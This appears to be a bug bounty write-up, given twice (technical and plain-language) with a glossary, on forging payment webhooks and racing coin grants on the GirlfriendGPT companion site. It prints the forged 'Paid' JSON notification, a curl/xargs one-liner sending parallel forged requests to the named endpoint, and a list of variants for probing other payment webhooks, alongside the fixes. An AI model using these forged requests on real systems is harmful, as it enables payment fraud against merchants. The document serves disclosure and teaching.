How I Got Free “Elite” Subscriptions and 14,000+ Coins on GirlfriendGPT — For $0 — Then Got Paid $850 to Report It
The payment webhook endpoint accepted forged payment notifications without verifying the provider's signature or caller identity, allowing activation of any paid subscription tier for free. A race condition in the coin-granting logic also allowed multiple simultaneous forged notifications to stack bonus coins.
Published on medium.com
Bug Bounty Writeup
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
GirlfriendGPT is an AI companion platform operated by NextDai. It monetises through tiered monthly subscriptions: $15 Premium, $35 Deluxe and $50 Elite. Each tier unlocks coins, message quotas, NSFW content and premium AI models. Payments are processed through TrustPay, a European payment gateway, which notifies the backend through a single webhook endpoint:
POST https://api.gptgirlfriend.online/api/webhook/tp
That endpoint is the entire trust boundary between "user paid" and "user gets premium access". The researcher tested the backend at api.gptgirlfriend.online and found two critical vulnerabilities chained together in the payment flow: one that let him activate any paid subscription tier without paying, and a second that let him multiply his coin balance by sending the same request more than once, at the same time. The total cost to exploit both bugs was $0; the total payout for reporting them was $850.
Setup
The only precondition for the first bug is the ability to start a checkout, which creates a pending subscription and returns a TrustPay gateway URL. The researcher sent the parallel requests with curl and xargs.
Finding it
When a user starts checkout, the backend creates a pending subscription and hands back a TrustPay gateway URL:
POST /api/v2/subscriptionAuthorization: Bearer <jwt>
{"priceId": "gg-usd-1m-paid_elite-50.00", "provider": "MANUAL"}
Following that URL revealed something sitting in plain sight in the query string: a Reference parameter identifying the researcher's own pending subscription (SUB|manu-78f9d30b663e48), plus the exact webhook URL TrustPay would call back with the payment result. The checkout URL revealed both the pending subscription reference and the webhook address.
While digging further, he also noticed that the coin grant logic looked like a textbook race condition:
1. Read subscription → check status == PENDING2. Read current coin balance3. balance += tier_bonus4. Write new balance5. Set subscription status = ACTIVE
Nothing in that sequence was atomic: no row lock, no idempotency key, no compare-and-swap. The question that followed was what happens if five identical "payment succeeded" notifications for the same subscription arrive within the same 100-500ms window, before step 5 flips the status.
Exploitation
Step 1: forge the payment notification
Instead of paying, the researcher called the webhook himself:
POST /api/webhook/tpContent-Type: application/json
{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-78f9d30b663e48", "PaymentRequestReference": "6222069299", "TransactionId": "TXN_FORGED_001" }, "CardTransaction": { "Card": { "Number": "4111XXXXXXXX1111", "ExpiryMonth": "12", "ExpiryYear": "2028" } }, "Amount": { "Amount": 50.00, "Currency": "USD" } }}
The body claims "Status": "Paid" for the pending Elite subscription identified by MerchantReference, with a fabricated transaction ID and card details. There was no auth header, no signature and no IP check. The response was:
{"success": true, "message": "Notification received successfully, Thanks!"}
A follow-up call to /api/auth/me confirmed the result: full Elite access, 830 coins, 5,000 monthly messages, NSFW unlocked, premium models unlocked, with zero dollars spent.
Step 2: race the coin grant
The researcher fired five parallel forged webhooks at once against a single pending Elite upgrade:
for i in $(seq 1 5); do echo $i; done | xargs -P 5 -I {} curl -s -X POST \ "https://api.gptgirlfriend.online/api/webhook/tp" \ -H "Content-Type: application/json" \ -d '{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-c25d7b20848945" }, "Amount": { "Amount": 50.00, "Currency": "USD" } } }'
xargs -P 5 runs five curl processes concurrently, each posting the same paid notification for the same subscription. All five requests returned success: true. The coin balance, which should have gone from 6,430 to 8,030 (one +1,600 Elite bonus), instead jumped to 14,430: five separate bonuses stacked on top of each other, because every parallel request read the same "not yet activated" state before any of them finished writing.
Scaled up, the researcher notes that 100 parallel requests on an Annual Elite plan (+2,600 per webhook) would have generated +260,000 coins in a single burst. The result is free, repeatable, and, since coins persist even after cancellation, permanent.
Root cause
For the first bug, the webhook endpoint never verified TrustPay's HMAC-SHA256 signature, never checked the caller's IP against TrustPay's published notification ranges, and never independently confirmed the payment server-side. It simply believed whatever JSON hit the endpoint.
For the second bug, the coin grant sequence read the subscription status, read the balance, added the bonus, wrote the balance and only then set the subscription to active. With no row lock, idempotency key or compare-and-swap, concurrent notifications all passed the pending check before any of them completed the write, so each one granted its bonus.
Impact
Stacked together, the two bugs changed the account state as follows:
| Before | After exploiting both bugs | |
|---|---|---|
| Cost | , | $0 |
| Subscription tier | Free | Elite |
| Coins | 30 | 14,430+ |
| Monthly messages | 0 | 50,000 |
| NSFW / premium models | Locked | Unlocked |
The researcher describes this as a direct hole in the platform's entire monetisation model, repeatable indefinitely and requiring only a free account and a terminal. The researcher notes that 100 parallel requests on an Annual Elite plan would have generated +260,000 coins, and coins persist after cancellation.
Fix
The researcher reported both issues privately to the NextDai team with full reproduction steps, impact analysis and CVSS 4.0 scoring (9.3, Critical, for both). They confirmed, patched and paid out an $850 bounty. The writeup was published with their permission after the fixes were verified live.
The remediation covered the standard checklist for webhook trust boundaries:
- Verify the payment provider's signature on every webhook (TrustPay signs notifications with HMAC-SHA256, which was never checked).
- IP-allowlist the webhook endpoint to TrustPay's published notification ranges.
- Independently re-verify payment status server-side against TrustPay's API before granting anything, instead of trusting the webhook body.
- Make coin grants atomic and idempotent: a locked transaction or a
WHERE status = 'PENDING'guard on the update, plus a dedupe key per transaction reference, so replaying or racing the same notification cannot grant value twice. - Rate-limit the webhook endpoint.
Variants to test
- Direct webhook invocation. Send a paid-status body to any payment webhook without provider credentials. A positive result is a success response and a state change visible in the account or order view.
- Signature omission. Replay a legitimate notification with the signature header removed or altered. If it is still accepted, signature verification is absent or not enforced.
- Reference reuse. Take a
MerchantReferencefrom your own checkout URL and submit it from a different account or session. Acceptance shows the reference is not bound to the caller. - Parallel replay. Fire the same notification N times concurrently with
xargs -Por a similar tool. A balance or quota that exceeds a single grant confirms a non-atomic read-modify-write. - Sequential replay. Send the same notification twice with a delay. A second grant shows there is no idempotency key or dedupe on the transaction reference.
- Status transition race. Target any flow that checks a pending state and then writes an active state, such as coupon redemption, referral credit or trial activation, and race the transition.
- Amount and currency tampering. Change
Amountin the notification body while keeping the reference valid. Acceptance shows the server trusts client-supplied payment amounts.
What happened, in plain words
GirlfriendGPT is a website run by a company called NextDai. It is an AI companion platform: you chat with an artificial intelligence character, and the site sells extras on top of the free experience. It makes money through monthly subscriptions in three tiers: Premium at $15, Deluxe at $35 and Elite at $50. Each tier unlocks coins (an in-site currency), a monthly quota of messages, NSFW content and access to premium AI models.
Payments are handled by a separate company, TrustPay, a European payment gateway. When you pay, TrustPay is the one that takes your card details and confirms the money arrived. It then tells GirlfriendGPT's backend (the server-side part of the site that users never see) that the payment succeeded. It does this by sending a message to a specific address on the site, called a webhook.
A webhook is best compared to a doorbell: TrustPay presses the button at a fixed address, and the site's server hears it and reacts. The problem was that this doorbell would ring for anyone. The researcher found he could call the webhook himself with a paid-status body, and the site accepted it. That let him switch on any paid subscription for free.
He then found a second problem: if the same "payment succeeded" message arrived several times at almost the same moment, the site added the coin bonus several times. He used both bugs together. The total cost to exploit them was $0. The total payout for reporting them was $850.

The target
Before going further, three ideas need explaining, because everything below depends on them.
What an API is. A website has two halves. The part you see in the browser (pages, buttons, images) is the front end. Behind it sits a server that holds the data and does the real work. An API is the set of addresses on that server that the front end talks to. When you click a button, your browser sends a request to one of those addresses and the server sends back an answer, usually in a format called JSON (a way of writing data as text, with names and values in curly brackets). You can send the same requests yourself with a tool, without using the website's buttons at all.
What a token is. When you log in, the server needs a way to recognise you on every later request. It gives your browser a long random string, a token (often a JWT, short for JSON Web Token). Your browser sends it back with each request, usually in a header, which is a small line of extra information attached to the request. Think of it as a wristband at an event: the door staff check the wristband, not your face. If someone else gets your wristband, they can walk in as you.
What a webhook is. As above: a fixed address on a server that another company's system calls automatically when something happens, here when a payment succeeds. The site has no human checking these calls; it just receives them and acts.
The researcher tested the backend at api.gptgirlfriend.online. The payment notification arrives at one single address:
POST https://api.gptgirlfriend.online/api/webhook/tp
Line by line:
POSTis the type of request. It means "here is some data, please do something with it", as opposed toGET, which just asks to read something.https://api.gptgirlfriend.onlineis the server being addressed./api/webhook/tpis the path on that server.
This one address is the whole border between "the user paid" and "the user gets premium access". Everything the site believes about payments passes through it. That is why it was the obvious place to start looking.
Finding it
When a user starts a checkout, the site does not charge anything immediately. It first creates a subscription in a pending state, meaning "started but not paid", and gives back a TrustPay web address where the user should go to pay. The request that does this looks like this:
POST /api/v2/subscriptionAuthorization: Bearer <jwt>
Line by line:
POST /api/v2/subscriptionis the address that creates the pending subscription.Authorization: Bearer <jwt>is a header carrying the user's token.Beareris just the word the format requires before the token itself;<jwt>is a placeholder for the real token, which is secret and is not reproduced here.
The body of that request says which plan the user wants:
{"priceId": "gg-usd-1m-paid_elite-50.00", "provider": "MANUAL"}
Line by line:
priceIdnames the plan.
When the researcher followed the TrustPay address he was given, he noticed something in the query string. The query string is the part of a web address after the ? sign, used to carry small pieces of information. In it sat a Reference parameter identifying his own pending subscription, SUB|manu-78f9d30b663e48, and also the exact webhook address TrustPay would call with the payment result. So the site had handed him two things: the identifier the webhook would trust, and the address to send it to. That is like being given both the claim ticket and the key to the counter.
While looking further, he also noticed how the coin bonus was granted. The sequence looked like this:
1. Read subscription → check status == PENDING2. Read current coin balance3. balance += tier_bonus4. Write new balance5. Set subscription status = ACTIVE
Line by line:
- The server looks up the subscription and checks that it is still pending, that is, not yet paid.
- It reads the user's current coin balance.
- It adds the bonus for the tier to that balance.
- It saves the new balance.
- Only then does it mark the subscription as active.
This is called a read-modify-write sequence: read a value, change it, write it back. It is not atomic, meaning the steps can be interrupted or interleaved with other copies of the same steps. There was no row lock (a mechanism that stops two processes touching the same record at once), no idempotency key (a marker that lets the server recognise a repeated request as the same one) and no compare-and-swap (a way of writing only if the value has not changed since it was read).
The question that followed was simple: what happens if five identical "payment succeeded" messages for the same subscription arrive within the same 100 to 500 millisecond window, before step 5 has had time to flip the status? If all five read "pending" before any of them writes "active", all five might grant the bonus.
Exploitation
Step 1: forge the payment notification
Instead of paying, the researcher called the webhook himself, pretending to be TrustPay. The request was:
POST /api/webhook/tpContent-Type: application/json
Line by line:
POST /api/webhook/tpis the same payment notification address described above.Content-Type: application/jsonis a header telling the server that the body is written in JSON, so it knows how to read it.
The body he sent was:
{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-78f9d30b663e48", "PaymentRequestReference": "6222069299", "TransactionId": "TXN_FORGED_001" },
"CardTransaction": { "Card": { "Number": "4111XXXXXXXX1111", "ExpiryMonth": "12", "ExpiryYear": "2028" } },
"Amount": { "Amount": 50.00, "Currency": "USD" } }}
Line by line:
PaymentInformationis the outer container holding everything about the supposed payment.Status: Paidis the key claim. It tells the site the payment succeeded.Referencesholds the identifiers that tie the payment to an order.MerchantReferenceis the pending Elite subscription the researcher had just created,SUB|manu-78f9d30b663e48.PaymentRequestReferenceandTransactionIdare further identifiers; the transaction ID here,TXN_FORGED_001, is made up, which the name itself admits.CardTransactioncontains card details. The body includes card number and expiry fields.Amountstates $50.00 in US dollars, matching the Elite price.
What was not in the request matters just as much: no auth header, no signature and no IP check. A signature is a short code computed from the message and a secret key that only TrustPay and the site know; if the site checked it, a forged message could not produce a valid one. An IP check would confirm the message came from one of TrustPay's own servers. Neither happened. The site simply believed whatever JSON arrived.
The response was:
{"success": true, "message": "Notification received successfully, Thanks!"}
Line by line:
success: truemeans the server accepted the notification.messageis a friendly confirmation text.
A follow-up call to /api/auth/me, the address that returns the logged-in user's own account details, confirmed the result: full Elite access, 830 coins, 5,000 monthly messages, NSFW unlocked and premium models unlocked, with zero dollars spent.
Step 2: race the coin grant
Now the second bug. The researcher fired five forged webhooks at the same moment against a single pending Elite upgrade:
for i in $(seq 1 5); do echo $i; done | xargs -P 5 -I {} curl -s -X POST \ "https://api.gptgirlfriend.online/api/webhook/tp" \ -H "Content-Type: application/json" \ -d '{ "PaymentInformation": { "Status": "Paid", "References": { "MerchantReference": "SUB|manu-c25d7b20848945" }, "Amount": { "Amount": 50.00, "Currency": "USD" } } }'
Line by line:
for i in $(seq 1 5); do echo $i; doneproduces the numbers 1 to 5, one per line. This is just a way of making five items to work through.|(a pipe) passes those five items to the next command.xargs -P 5 -I {}takes each item and runs a command for it, with-P 5allowing five of those commands to run at the same time.-I {}says the item's value replaces{}in the command.curlis a command-line tool for sending web requests.-skeeps it quiet,-X POSTsets the request type,-Hadds a header and-dsupplies the body.- The address is the same webhook.
- The body is a shorter version of the forged notification:
Status: Paid, theMerchantReferenceof the pending subscription (SUB|manu-c25d7b20848945), and an amount of $50.00 USD. The body is a shorter version of the forged notification, without card details.
Because -P 5 runs five copies at once, five identical notifications for the same subscription hit the server within milliseconds of each other. All five returned success: true. The coin balance, which should have gone from 6,430 to 8,030 (one bonus of 1,600 for Elite), instead jumped to 14,430. That is five separate bonuses stacked on top of each other, because every parallel request read the same "not yet activated" state before any of them finished writing.
Scaled up, the researcher notes that 100 parallel requests on an Annual Elite plan, which grants 2,600 per webhook, would have generated +260,000 coins in a single burst. The result is free, repeatable, and, since coins persist even after cancellation, permanent.
Root cause
For the first bug, the webhook endpoint never verified TrustPay's HMAC-SHA256 signature. HMAC-SHA256 is a method of producing a short code from a message and a shared secret; if the site had checked it, a message written by anyone else would have failed. The endpoint also never checked the caller's IP against TrustPay's published notification ranges, and never independently confirmed the payment with TrustPay on the server side. It simply believed whatever JSON hit it.
For the second bug, the coin grant sequence read the subscription status, read the balance, added the bonus, wrote the balance and only then set the subscription to active. With no row lock, idempotency key or compare-and-swap, concurrent notifications all passed the pending check before any of them completed the write, so each one granted its bonus.
Impact
Stacked together, the two bugs changed the account state as follows:
| Before | After exploiting both bugs | |
|---|---|---|
| Cost | , | $0 |
| Subscription tier | Free | Elite |
| Coins | 30 | 14,430+ |
| Monthly messages | 0 | 50,000 |
| NSFW / premium models | Locked | Unlocked |
The researcher describes this as a direct hole in the platform's entire monetisation model, repeatable indefinitely and requiring only a free account and a terminal. The researcher notes that 100 parallel requests on an Annual Elite plan would have generated +260,000 coins, and coins persist after cancellation.
Fix
The researcher reported both issues privately to the NextDai team with full reproduction steps, impact analysis and CVSS 4.0 scoring. CVSS is a standard way of scoring how serious a vulnerability is; both issues scored 9.3, Critical. The team confirmed, patched and paid out an $850 bounty. The writeup was published with their permission after the fixes were verified live.
The remediation covered the standard checklist for webhook trust boundaries:
- Verify the payment provider's signature on every webhook. TrustPay signs notifications with HMAC-SHA256, which was never checked.
- IP-allowlist the webhook endpoint to TrustPay's published notification ranges. An allowlist is a list of who is permitted; everyone else is refused.
- Independently re-verify payment status server-side against TrustPay's API before granting anything, instead of trusting the webhook body.
- Make coin grants atomic and idempotent: a locked transaction or a
WHERE status = 'PENDING'guard on the update, plus a dedupe key per transaction reference, so replaying or racing the same notification cannot grant value twice. TheWHERE status = 'PENDING'part is a condition on the database update: it only applies if the record is still pending, so the second of two simultaneous updates finds nothing to change. - Rate-limit the webhook endpoint, meaning cap how many requests it will accept in a given time.
Variants to test
These are the same checks applied to other payment flows:
- Direct webhook invocation. Send a paid-status body to any payment webhook without provider credentials. A positive result is a success response and a state change visible in the account or order view.
- Signature omission. Replay a legitimate notification with the signature header removed or altered. If it is still accepted, signature verification is absent or not enforced.
- Reference reuse. Take a
MerchantReferencefrom your own checkout URL and submit it from a different account or session. Acceptance shows the reference is not bound to the caller. - Parallel replay. Fire the same notification N times concurrently with
xargs -Por a similar tool. A balance or quota that exceeds a single grant confirms a non-atomic read-modify-write. - Sequential replay. Send the same notification twice with a delay. A second grant shows there is no idempotency key or dedupe on the transaction reference.
- Status transition race. Target any flow that checks a pending state and then writes an active state, such as coupon redemption, referral credit or trial activation, and race the transition.
- Amount and currency tampering. Change
Amountin the notification body while keeping the reference valid. Acceptance shows the server trusts client-supplied payment amounts.
Glossary
- API: the set of addresses on a server that a website's front end uses to read and change data; you can send the same requests yourself.
- Atomic: describing an operation that completes fully or not at all, with no other copy of it slipping in halfway.
- Backend: the server-side part of a site that users do not see, where data is stored and decisions are made.
- Bounty: a payment a company makes to someone who reports a security problem to it.
- Compare-and-swap: a way of writing a value only if it has not changed since it was read, so two simultaneous writers cannot both succeed.
- Content-Type: a header saying what format the body of a request is in, such as JSON.
- curl: a command-line tool for sending web requests.
- CVSS: a standard scoring system for how serious a vulnerability is.
- Dedupe key: a marker that lets a server recognise a repeated request as the same one and ignore the copy.
- Header: a small line of extra information attached to a web request, such as a token or a content type.
- HMAC-SHA256: a method of producing a short code from a message and a shared secret, used to prove a message came from someone who holds the secret.
- Idempotency key: a marker attached to a request so that sending it twice has the same effect as sending it once.
- IP allowlist: a list of network addresses permitted to call an endpoint; everyone else is refused.
- JSON: a way of writing data as text, with names and values inside curly brackets.
- JWT: JSON Web Token, a long random string a server gives you at login so it can recognise you on later requests.
- NSFW: content not suitable for work, here adult material unlocked by paid tiers.
- Parallel requests: several requests sent at the same time rather than one after another.
- Pending: a state meaning started but not yet completed, here a subscription created but not paid.
- Query string: the part of a web address after the
?, used to carry small pieces of information. - Race condition: a bug where the result depends on the timing of two operations that run at once.
- Rate-limit: a cap on how many requests an endpoint will accept in a given time.
- Read-modify-write: a sequence that reads a value, changes it and writes it back, which can go wrong if two copies interleave.
- Row lock: a mechanism that stops two processes touching the same database record at the same time.
- Signature: a short code computed from a message and a secret, used to prove the message is genuine.
- Terminal: a text window on a computer where commands are typed.
- Token: a long random string a server gives you at login so it can recognise you on later requests.
- Trust boundary: the line between what a system trusts and what it must check.
- Webhook: a fixed address on a server that another company's system calls automatically when something happens, here when a payment succeeds.
- xargs: a command-line tool that runs a command once per item, optionally several at a time.